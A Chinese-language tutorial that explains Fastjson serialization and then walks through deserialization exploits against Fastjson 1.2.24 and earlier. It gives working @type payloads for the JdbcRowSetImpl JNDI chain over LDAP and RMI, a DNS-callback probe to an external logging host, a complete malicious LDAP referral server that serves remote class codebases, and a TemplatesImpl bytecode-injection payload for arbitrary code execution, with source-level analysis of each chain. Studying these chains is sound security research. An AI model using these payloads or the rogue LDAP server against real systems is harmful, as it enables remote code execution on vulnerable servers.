概述
Fastjson是阿里巴巴开源的json解析库,他可以解析json格式的字符串并且支持将JAVA Object序列化为json字符串,也可以从json字符串反序列化到java object
它主要提供了两个接口来分别实现对java Object的序列化和反序列化的操作
- JSON.toJSONString
- JSON.parseObject/JSON.parse
方法 | 返回值 | 用途 | 适用场景 |
---|---|---|---|
JSON.toJSONString() | String | 序列化:对象 → JSON字符串 | 输出JSON、网络传输、存储 |
JSON.parseObject(json, Class) | 指定类型对象 | 反序列化:JSON字符串 → 指定类型对象 | 解析已知结构的JSON |
JSON.parseObject(json) | JSONObject | 反序列化:JSON字符串 → JSONObject | 解析未知或动态结构的JSON |
JSON.parse() | Object | 底层解析:JSON字符串 → Object | 需要灵活类型处理的场景 |
并不是所有的java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON
Java Bean 的基本规范
必须满足的条件:
- 公共的无参构造函数
- 私有属性(字段)
- 公共的getter和setter方法
- 可序列化(实现Serializable接口)
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
利用dome看一下序列化和反序列化
User.java
package json_dome;
public class User {
private String name;
private int age;
private String email;
// 必须有无参构造函数
public User() {
}
public User(String name, int age, String email) {
this.name = name;
this.age = age;
this.email = email;
}
// getter和setter方法
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
FastJsonExample.java
package json_dome;
import com.alibaba.fastjson.JSON;
public class FastJsonExample {
public static void main(String[] args) {
// 创建一个User对象
User user = new User();
user.setAge(19);
user.setName("empty");
System.out.println("--------------------序列化操作----------------------");
//将其序列化为JSON
String json = JSON.toJSONString(user);
System.out.println(json);
System.out.println("----------------------反序列化操作-------------------------");
//使用parse方法,将JSON反序列化为一个JSONObject
Object json1 = JSON.parse(json);
System.out.println(json1.getClass().getName());
System.out.println(json1);
System.out.println("-----------------------反序列化操作------------------------");
//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
Object json2 = JSON.parseObject(json,User.class);
System.out.println(json2.getClass().getName());
System.out.println(json2);
}
}
运行结果
--------------序列化-------------
{"age":18,"name":"Faster"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
Person
Person@e2144e4
这里我们修改一下,让setter方法加上输出一句话,我们再测试parseObject()
新的运行结果
setAge:
setName:
--------------------序列化操作----------------------
{"age":19,"name":"empty"}
----------------------反序列化操作-------------------------
com.alibaba.fastjson.JSONObject
{"name":"empty","age":19}
-----------------------反序列化操作------------------------
setAge:
setName:
json_dome.User
json_dome.User@6d7b4f4c
可以看到在反序列化的时候,JSON#parseObject()方法再一次调用了原生类中的Setter方法
若我们再反序列化试不指定特定的类,那么Fastjson就会默认将一个JSON字符串反序列化为一个JSONObject
但是类中的private的属性值不会被序列化和反序列化
可见不设置特定类,会是默认的JSONObject,同样也不会再次调用原本类中写的,仅仅是将JSON字符串进行反序列化
Fastjson–@type
从简单的例子中我们可以看到,JSON#parseObject方法调用的时,我们固定了原生类诶为User.class,那么对于实际环境中有很多类,我们改如何知道我们需要反序列化什么类的对象呢,这是我们引入@type属性
@type属性是fastjson中的一个特殊注释,用于标识JSON字符串中的某个属性是哪一个java对象的类型,具体来说,当fastjson从JSON字符串反序列化为java对象时,如果JSON字符串包含@type属性,fastjson会根据该属性的值来确认反序列化后的java对象的类型
这里有两种方法
第一种
在序列化的时候,在toJSONString()方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一起序列化
package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Testing {
public static void main(String[] args) {
User user1 = new User();
user1.setAge(19);
user1.setName("empty");
String ser = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
System.out.println(ser);
}
}
我们看到添加了@type字段,用于标识对象所属的嘞
在反序列化的时候,parse()方法机会根据@type转化为原来的类
package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Testing {
public static void main(String[] args) {
User user1 = new User();
user1.setAge(19);
user1.setName("empty");
System.out.println("序列化操作");
String ser = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
System.out.println(ser);
System.out.println("反序列化操作");
Object ser1 = JSON.parse(ser);
System.out.println(ser1);
}
}
这里我用的Fastjson版本是1.2.24
,我还另用了2点几的版本,好像是默认禁用autoType了,parseObject也不行,可能是行为统一了
第二种
第二种方法是在反序列化的时候,在parseObject()
方法中手动指定对象的类型
简单利用
那么我们是不是可以利用此,指定恶意类呢,前提是type没有进行严格的处理
DNS
package json_dome;
import com.alibaba.fastjson.JSON;
import java.net.Inet4Address;
import java.net.UnknownHostException;
public class DNS {
public static void main(String[] args) throws UnknownHostException {
String ser_json = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"gmgy2rqg.requestrepo.com\"}";
// 反序列化操作
Inet4Address inetAddress = JSON.parseObject(ser_json, Inet4Address.class);
System.out.println(inetAddress);
}
}
那么我们知道指定原生类的话,还会调用一次我们写好的setter方法,那么如果我们在这些方法中插入恶意代码呢?
AutoTypeSupport
AutoTypeSupport是fastjson中的一个配置选项,用于控制自动类型转换的支持
默认情况下fastjson>=1.2.25
会禁用自动类型转换功能,防止恶意风险,学到这也就解决了我最开始上面遇到的疑问和问题
Fastjson<=1.2.24
首先来看看支持type版本内的漏洞,主要是JdbcRowSetImpl和Templateslmpl
jdbcRowSetlmpl利用链
JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于访问各种命名和目录服务
JDBC(Java Database Connectivity)是 Java 提供的用于执行 SQL 语句的 API,它让 Java 程序能够与各种关系型数据库进行交互
JdbcRowSetImpl利用链最终导致的JNDI注入,可以结合JNDI攻击手法进行利用,通用性最强的利用方式
其中关键在于JdbcRowSetImpl利用链如何调用到autoCommit的set方法,我们知道Fastjson会自动调用到类的set方法
所以我们跟进看一下,JdbcRowSetImpl中的setAutoCommit方法
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
conn为null的话就会进入else语句,并调用到connect()方法,跟进connect方法
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
如果没有配置数据源就会通过JDBC URL直接连接
我们跟进lookup方法,看到他是JNDI访问远程服务器获取远程对象的方法,参数为服务器地址
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
在看到setDataSourceName和getDataSourceName方法
public String getDataSourceName() {
return dataSource;
}
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
而且是public方法,我们可以在set里设置dataSource的值
构造利用链,当type类型为jdbcRowSetlmpl类型时,就会进行实例化,同时我们将dataSourceName传给lookup方法,就可以保证可以访问到远程的攻击服务器了,其中dataSource赋值为我们恶意文件的远程地址
LDAP+JNDI
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_LDAP {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
LDAP服务器 LDAP_Server.java
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
RMI+JNDI
payload
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_RMI {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
哎哎,RMI连接老是被重置
dataSourceName
需要放在autoCommit
的前面,因为反序列化的时候是按先后顺序来set
属性的,需要先执行setDataSourceName
,然后再执行setAutoCommit
LDAP+JNDI
payload
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_LDAP {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
TemplatesImpl利用链
fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法,实例话传入恶意类,调用其构造方法,从而造成任意命令执行
这里利用Templateslmpl去打,实际就是换成json序列化后的字符串
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[恶意类的base64],
'_name':'Infernity',
'_tfactory':{},
'_outputProperties':{}
}
payload
package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Tem_poc {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
String base64_code = Base64.getEncoder().encodeToString(bytes);
String Payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\""+base64_code+"\"]," +
"\"_name\":\"test\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}" +
"}\n";
JSON.parseObject(Payload, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
}
}
源码分析
因为payload需要赋值的一些属性为private类型的,需要再parse()反序列化试设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性
对于Templateslmpl链的最终目标是defineClass()进行动态类加载
其中Templateslmpl下的getOutputProperties()方法能够最终走到defineClass,同时格式也符合
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
调用了TemplatesImpl#newTransformer
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
继续跟进getTransletInstance()
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
跟进defineTransletClasses()
,最终在该类中调用了defineClass()
构造一个TemplatesImpl
类的JSON,并且将_outputProperties
赋值,这样Fastjson在反序列化时就会调用getOutputProperties()
方法了
要求
- 属性
_name
的值不为null
- 属性
_class
的值为null
__bytecodes
为我们传入的恶意字节码
原本CC3中_tfactory
需要设置一个TransformerFactoryImpl对象才能让链子走下去,但是这里设置为了空也能正常执行
因为类中已经定义好了
_tfactory知道是TransformerFactoryImpl
private transient TransformerFactoryImpl _tfactory = null;
还有一个base64编码的问题,在反序列化的时候,会对字符串类型进行判断,如果是base64就会被解码成byte数组
if (token == JSONToken.LITERAL_STRING) {
if (type == byte[].class) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken();
return (T) bytes;
}
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);
}